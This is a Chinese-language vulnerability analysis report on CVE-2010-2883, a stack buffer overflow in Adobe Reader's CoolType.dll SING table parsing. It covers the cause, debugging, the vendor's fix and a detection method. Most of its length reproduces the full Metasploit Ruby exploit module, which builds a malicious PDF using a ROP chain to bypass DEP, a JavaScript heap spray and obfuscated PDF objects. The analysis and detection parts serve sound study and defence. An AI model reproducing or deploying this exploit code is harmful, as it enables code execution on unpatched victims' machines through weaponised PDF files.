Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)漏洞分析报告

一. 简介
软件名称:Adobe Reader
影响范围:7.0.0-9.3.4版本
影响平台:Windows
漏洞模块:CoolType.dll
威胁等级:高危
漏洞类型:缓冲区溢出
威胁路径:远程
机密性影响:完全的信息泄露导致所有系统文件暴露
完整性影响:系统完整性可被完全破坏
可用性影响:可能导致系统完全宕机
攻击复杂度:漏洞利用存在一定的访问条件
攻击向量:攻击者不需要获取内网访问权或本地访问权
身份认证:漏洞利用无需身份认证
二. 软件介绍
Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作(通过Adobe Acrobat制作)的PDF文档而不用担心被恶意篡改。
三. 漏洞成因
Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。
具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。
使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:
四. 漏洞分析
4.1格式分析
4.1.1 TableEntry结构在官方文档中的定义如下:
{
Char tag[
4
];
/
/
SING字符串
ULONG checkSum;
/
/
校验和
ULONG offset;
/
/
相对文件偏移
ULONG length;
/
/
数据长度
}
4.1.2 在该样本中,SING表的形态
Char tag[
4
];
/
/
53
49
4E
47
ULONG checkSum;
/
/
D9 BC C8 B5
ULONG offset;
/
/
00
00
01
1C
ULONG length;
/
/
00
00
1D
DF

根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。
4.1.3 uniqueName域
在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。


4.2 漏洞调试
4.2.1利用IDA pro查看溢出函数的位置

4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。

4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。


4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持JavaScript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。
五. 厂商修复手段
添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。
六. 检测方法
分析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出。
七. Exploit
使用的exploit由Exploit-db下载,使用ruby编写。
##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require
'msf/core'
require
'zlib'
class
Metasploit3 < Msf::Exploit::Remote
Rank
=
GreatRanking
# aslr+dep bypass, js heap spray, rop, stack bof
include Msf::Exploit::FILEFORMAT
def
initialize(info
=
{})
super
(update_info(info,
'Name'
=
>
'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow'
,
'Description'
=
>
%
q{
This module exploits a vulnerability
in
the Smart INdependent Glyplets (SING) table
handling within versions
8.2
.
4
and
9.3
.
4
of Adobe Reader. Prior version are
assumed to be vulnerable as well.
},
'License'
=
> MSF_LICENSE,
'Author'
=
>
[
'Unknown'
,
# 0day found in the wild
'@sn0wfl0w'
,
# initial analysis
'@vicheck'
,
# initial analysis
'jduck'
# Metasploit module
],
'Version'
=
>
'$Revision: 10477 $'
,
'References'
=
>
[
[
'CVE'
,
'2010-2883'
],
[
'OSVDB'
,
'67849'
],
[
'URL'
,
'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html'
],
[
'URL'
,
'http://www.adobe.com/support/security/advisories/apsa10-02.html'
]
],
'DefaultOptions'
=
>
{
'EXITFUNC'
=
>
'process'
,
'InitialAutoRunScript'
=
>
'migrate -f'
,
'DisablePayloadHandler'
=
>
'true'
,
},
'Payload'
=
>
{
'Space'
=
>
1000
,
'BadChars'
=
>
"\x00"
,
'DisableNops'
=
> true
},
'Platform'
=
>
'win'
,
'Targets'
=
>
[
# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
[
'Automatic'
, { }],
],
'DisclosureDate'
=
>
'Sep 07 2010'
,
'DefaultTarget'
=
>
0
))
register_options(
[
OptString.new(
'FILENAME'
, [ true,
'The file name.'
,
'msf.pdf'
]),
],
self
.
class
)
end
def
exploit
ttf_data
=
make_ttf()
js_data
=
make_js(payload.encoded)
# Create the pdf
pdf
=
make_pdf(ttf_data, js_data)
print_status(
"Creating '#{datastore['FILENAME']}' file..."
)
file_create(pdf)
end
def
make_ttf
ttf_data
=
""
# load the static ttf file
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path
=
File
.join( Msf::Config.install_root,
"data"
,
"exploits"
,
"cve-2010-2883.ttf"
)
fd
=
File
.
open
( path,
"rb"
)
ttf_data
=
fd.read(fd.stat.size)
fd.close
# Build the SING table
sing
=
''
sing << [
0
,
1
,
# tableVersionMajor, tableVersionMinor (0.1)
0xe01
,
# glyphletVersion
0x100
,
# embeddingInfo
0
,
# mainGID
0
,
# unitsPerEm
0
,
# vertAdvance
0x3a00
# vertOrigin
].pack(
'vvvvvvvv'
)
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(
0x254
-
sing.length)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[
0x140
,
4
]
=
[
0x4a8a08e2
-
0x1c
].pack(
'V'
)
# This becomes our new EIP (puts esp to stack buffer)
ret
=
0x4a80cb38
# add ebp, 0x794 / leave / ret
sing[
0x208
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new eip after the first return
ret
=
0x4a82a714
sing[
0x18
,
4
]
=
[ret].pack(
'V'
)
# This becomes the new esp after the first return
esp
=
0x0c0c0c0c
sing[
0x1c
,
4
]
=
[esp].pack(
'V'
)
# Without the following, sub_801ba57 returns 0.
sing[
0x24c
,
4
]
=
[
0x6c
].pack(
'V'
)
ttf_data[
0xec
,
4
]
=
"SING"
ttf_data[
0x11c
, sing.length]
=
sing
ttf_data
end
def
make_js(encoded_payload)
# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data
=
[
0x41414141
,
# unused
0x4a8063a5
,
# pop ecx / ret
0x4a8a0000
,
# becomes ecx
0x4a802196
,
# mov [ecx],eax / ret # save whatever eax starts as
0x4a801f90
,
# pop eax / ret
0x4a84903c
,
# becomes eax (import for CreateFileA)
# -- call CreateFileA
0x4a80b692
,
# jmp [eax]
0x4a801064
,
# ret
0x4a8522c8
,
# first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000
,
# second arg - dwDesiredAccess
0x00000000
,
# third arg - dwShareMode
0x00000000
,
# fourth arg - lpSecurityAttributes
0x00000002
,
# fifth arg - dwCreationDisposition
0x00000102
,
# sixth arg - dwFlagsAndAttributes
0x00000000
,
# seventh arg - hTemplateFile
0x4a8063a5
,
# pop ecx / ret
0x4a801064
,
# becomes ecx
0x4a842db2
,
# xchg eax,edi / ret
0x4a802ab1
,
# pop ebx / ret
0x00000008
,
# becomes ebx - offset to modify
#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
0x4a80a8a6
,
# execute fun block
0x4a801f90
,
# pop eax / ret
0x4a849038
,
# becomes eax (import for CreateFileMappingA)
# -- call CreateFileMappingA
0x4a80b692
,
# jmp [eax]
0x4a801064
,
# ret
0xffffffff
,
# arguments to CreateFileMappingA, hFile
0x00000000
,
# lpAttributes
0x00000040
,
# flProtect
0x00000000
,
# dwMaximumSizeHigh
0x00010000
,
# dwMaximumSizeLow
0x00000000
,
# lpName
0x4a8063a5
,
# pop ecx / ret
0x4a801064
,
# becomes ecx
0x4a842db2
,
# xchg eax,edi / ret
0x4a802ab1
,
# pop ebx / ret
0x00000008
,
# becomes ebx - offset to modify
0x4a80a8a6
,
# execute fun block
0x4a801f90
,
# pop eax / ret
0x4a849030
,
# becomes eax (import for MapViewOfFile
# -- call MapViewOfFile
0x4a80b692
,
# jmp [eax]
0x4a801064
,
# ret
0xffffffff
,
# args to MapViewOfFile - hFileMappingObject
0x00000022
,
# dwDesiredAccess
0x00000000
,
# dwFileOffsetHigh
0x00000000
,
# dwFileOffsetLow
0x00010000
,
# dwNumberOfBytesToMap
0x4a8063a5
,
# pop ecx / ret
0x4a8a0004
,
# becomes ecx - writable pointer
0x4a802196
,
# mov [ecx],eax / ret - save map base addr
0x4a8063a5
,
# pop ecx / ret
0x4a801064
,
# becomes ecx - ptr to ret
0x4a842db2
,
# xchg eax,edi / ret
0x4a802ab1
,
# pop ebx / ret
0x00000030
,
# becomes ebx - offset to modify
0x4a80a8a6
,
# execute fun block
0x4a801f90
,
# pop eax / ret
0x4a8a0004
,
# becomes eax - saved file mapping ptr
0x4a80a7d8
,
# mov eax,[eax] / ret - load saved mapping ptr
0x4a8063a5
,
# pop ecx / ret
0x4a801064
,
# becomes ecx - ptr to ret
0x4a842db2
,
# xchg eax,edi / ret
0x4a802ab1
,
# pop ebx / ret
0x00000020
,
# becomes ebx - offset to modify
0x4a80a8a6
,
# execute fun block
0x4a8063a5
,
# pop ecx / ret
0x4a801064
,
# becomes ecx - ptr to ret
0x4a80aedc
,
# lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
0x4a801f90
,
# pop eax / ret
0x00000034
,
# becomes eax
0x4a80d585
,
# add eax,edx / ret
0x4a8063a5
,
# pop ecx / ret
0x4a801064
,
# becomes ecx - ptr to ret
0x4a842db2
,
# xchg eax,edi / ret
0x4a802ab1
,
# pop ebx / ret
0x0000000a
,
# becomes ebx - offset to modify
0x4a80a8a6
,
# execute fun block
0x4a801f90
,
# pop eax / ret
0x4a849170
,
# becomes eax (import for memcpy)
# -- call memcpy
0x4a80b692
,
# jmp [eax]
0xffffffff
,
# this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff
,
# becomes first arg to memcpy (dst)
0xffffffff
,
# becomes second arg to memcpy (src)
0x00001000
,
# becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??
].pack(
'V*'
)
var_unescape
=
rand_text_alpha(rand(
100
)
+
1
)
var_shellcode
=
rand_text_alpha(rand(
100
)
+
1
)
var_start
=
rand_text_alpha(rand(
100
)
+
1
)
var_s
=
0x10000
var_c
=
rand_text_alpha(rand(
100
)
+
1
)
var_b
=
rand_text_alpha(rand(
100
)
+
1
)
var_d
=
rand_text_alpha(rand(
100
)
+
1
)
var_3
=
rand_text_alpha(rand(
100
)
+
1
)
var_i
=
rand_text_alpha(rand(
100
)
+
1
)
var_4
=
rand_text_alpha(rand(
100
)
+
1
)
payload_buf
=
''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload
=
Rex::Text.to_unescape(payload_buf)
js
=
%
Q|
var
#{var_unescape} = unescape;
var
#{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var
#{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while
(
#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while
(
#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var
#{var_4} = new Array();
for
(
#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end
def
RandomNonASCIIString(count)
result
=
""
count.times do
result << (rand(
128
)
+
128
).
chr
end
result
end
def
ioDef(
id
)
"%d 0 obj \n"
%
id
end
def
ioRef(
id
)
"%d 0 R"
%
id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def
nObfu(
str
)
#return str
result
=
""
str
.scan(
/
.
/
u) do |c|
if
rand(
2
)
=
=
0
and
c.upcase >
=
'A'
and
c.upcase <
=
'Z'
result <<
"#%x"
%
c.unpack(
"C*"
)[
0
]
else
result << c
end
end
result
end
def
ASCIIHexWhitespaceEncode(
str
)
result
=
""
whitespace
=
""
str
.each_byte do |b|
result << whitespace <<
"%02x"
%
b
whitespace
=
" "
*
(rand(
3
)
+
1
)
end
result <<
">"
end
def
make_pdf(ttf, js)
#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
xref
=
[]
eol
=
"\n"
endobj
=
"endobj"
<< eol
# Randomize PDF version?
pdf
=
"%PDF-1.5"
<< eol
pdf <<
"%"
<< RandomNonASCIIString(
4
) << eol
# catalog
xref << pdf.length
pdf << ioDef(
1
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Pages "
) << ioRef(
2
) << eol
pdf << nObfu(
"/Type /Catalog"
) << eol
pdf << nObfu(
"/OpenAction "
) << ioRef(
11
) << eol
# The AcroForm is required to get icucnv36.dll to load
pdf << nObfu(
"/AcroForm "
) << ioRef(
13
) << eol
pdf << nObfu(
">>"
) << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(
2
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/MediaBox "
) << ioRef(
3
) << eol
pdf << nObfu(
"/Resources "
) << ioRef(
4
) << eol
pdf << nObfu(
"/Kids ["
) << ioRef(
5
) <<
"]"
<< eol
pdf << nObfu(
"/Count 1"
) << eol
pdf << nObfu(
"/Type /Pages"
) << eol
pdf << nObfu(
">>"
) << eol
pdf << endobj
# media box
xref << pdf.length
pdf << ioDef(
3
)
pdf <<
"[0 0 595 842]"
<< eol
pdf << endobj
# resources
xref << pdf.length
pdf << ioDef(
4
)
pdf << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Font "
) << ioRef(
6
) << eol
pdf <<
">>"
<< eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(
5
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Parent "
) << ioRef(
2
) << eol
pdf << nObfu(
"/MediaBox "
) << ioRef(
3
) << eol
pdf << nObfu(
"/Resources "
) << ioRef(
4
) << eol
pdf << nObfu(
"/Contents ["
) << ioRef(
8
) << nObfu(
"]"
) << eol
pdf << nObfu(
"/Type /Page"
) << eol
pdf << nObfu(
">>"
) << eol
# end obj dict
pdf << endobj
# font
xref << pdf.length
pdf << ioDef(
6
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/F1 "
) << ioRef(
7
) << eol
pdf <<
">>"
<< eol
pdf << endobj
# ttf object
xref << pdf.length
pdf << ioDef(
7
) << nObfu(
"<<"
) << eol
pdf << nObfu(
"/Type /Font"
) << eol
pdf << nObfu(
"/Subtype /TrueType"
) << eol
pdf << nObfu(
"/Name /F1"
) << eol
pdf << nObfu(
"/BaseFont /Cinema"
) << eol
pdf << nObfu(
"/Widths []"
) << eol
pdf << nObfu(
"/FontDescriptor "
) << ioRef(
9
)
pdf << nObfu(
"/Encoding /MacRomanEncoding"
)
pdf << nObfu(
">>"
) << eol
pdf << endobj
# page content
content
=
"Hello World!"
content
=
""
+
"0 g"
+
eol
+
"BT"
+
eol
+
"/F1 32 Tf"
+
eol
+
"32 Tc"
+
eol
+
"1 0 0 1 32 773.872 Tm"
+
eol
+
"("
+
content
+
") Tj"
+
eol
+
"ET"
xref << pdf.length
pdf << ioDef(
8
) <<
"<<"
<< eol
pdf << nObfu(
"/Length %s"
%
content.length) << eol
pdf <<
">>"
<< eol
pdf <<
"stream"
<< eol
pdf << content << eol
pdf <<
"endstream"
<< eol
pdf << endobj
# font descriptor
xref << pdf.length
pdf << ioDef(
9
) << nObfu(
"<<"
)
pdf << nObfu(
"/Type/FontDescriptor/FontName/Cinema"
)
pdf << nObfu(
"/Flags %d"
%
(
2
*
*
2
+
2
*
*
6
+
2
*
*
17
))
pdf << nObfu(
"/FontBBox [-177 -269 1123 866]"
)
pdf << nObfu(
"/FontFile2 "
) << ioRef(
10
)
pdf << nObfu(
">>"
) << eol
pdf << endobj
# ttf stream
xref << pdf.length
compressed
=
Zlib::Deflate.deflate(ttf)
pdf << ioDef(
10
) << nObfu(
"<</Length %s/Filter/FlateDecode/Length1 %s>>"
%
[compressed.length, ttf.length]) << eol
pdf <<
"stream"
<< eol
pdf << compressed << eol
pdf <<
"endstream"
<< eol
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(
11
) << nObfu(
"<<"
)
pdf << nObfu(
"/Type/Action/S/JavaScript/JS "
)
+
ioRef(
12
)
pdf << nObfu(
">>"
) << eol
pdf << endobj
# js stream
xref << pdf.length
compressed
=
Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(
12
) << nObfu(
"<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>"
%
compressed.length) << eol
pdf <<
"stream"
<< eol
pdf << compressed << eol
pdf <<
"endstream"
<< eol
pdf << endobj
###
# The following form related data is required to get icucnv36.dll to load
###
# form object
xref << pdf.length
pdf << ioDef(
13
)
pdf << nObfu(
"<</XFA "
) << ioRef(
14
) << nObfu(
">>"
) << eol
pdf << endobj
# form stream
xfa
=
<<
-
EOF
<?xml version
=
"1.0"
encoding
=
"UTF-8"
?>
<xdp:xdp xmlns:xdp
=
"http://ns.adobe.com/xdp/"
>
<config xmlns
=
"http://www.xfa.org/schema/xci/2.6/"
>
<present><pdf><interactive>
1
<
/
interactive><
/
pdf><
/
present>
<
/
config>
<template xmlns
=
"http://www.xfa.org/schema/xfa-template/2.6/"
>
<subform name
=
"form1"
layout
=
"tb"
locale
=
"en_US"
>
<pageSet><
/
pageSet>
<
/
subform><
/
template><
/
xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(
14
) << nObfu(
"<</Length %s>>"
%
xfa.length) << eol
pdf <<
"stream"
<< eol
pdf << xfa << eol
pdf <<
"endstream"
<< eol
pdf << endobj
###
# end form stuff for icucnv36.dll
###
# trailing stuff
xrefPosition
=
pdf.length
pdf <<
"xref"
<< eol
pdf <<
"0 %d"
%
(xref.length
+
1
) << eol
pdf <<
"0000000000 65535 f"
<< eol
xref.each do |index|
pdf <<
"%010d 00000 n"
%
index << eol
end
pdf <<
"trailer"
<< eol
pdf << nObfu(
"<</Size %d/Root "
%
(xref.length
+
1
)) << ioRef(
1
) <<
">>"
<< eol
pdf <<
"startxref"
<< eol
pdf << xrefPosition.to_s() << eol
pdf <<
"%%EOF"
<< eol
pdf
end
end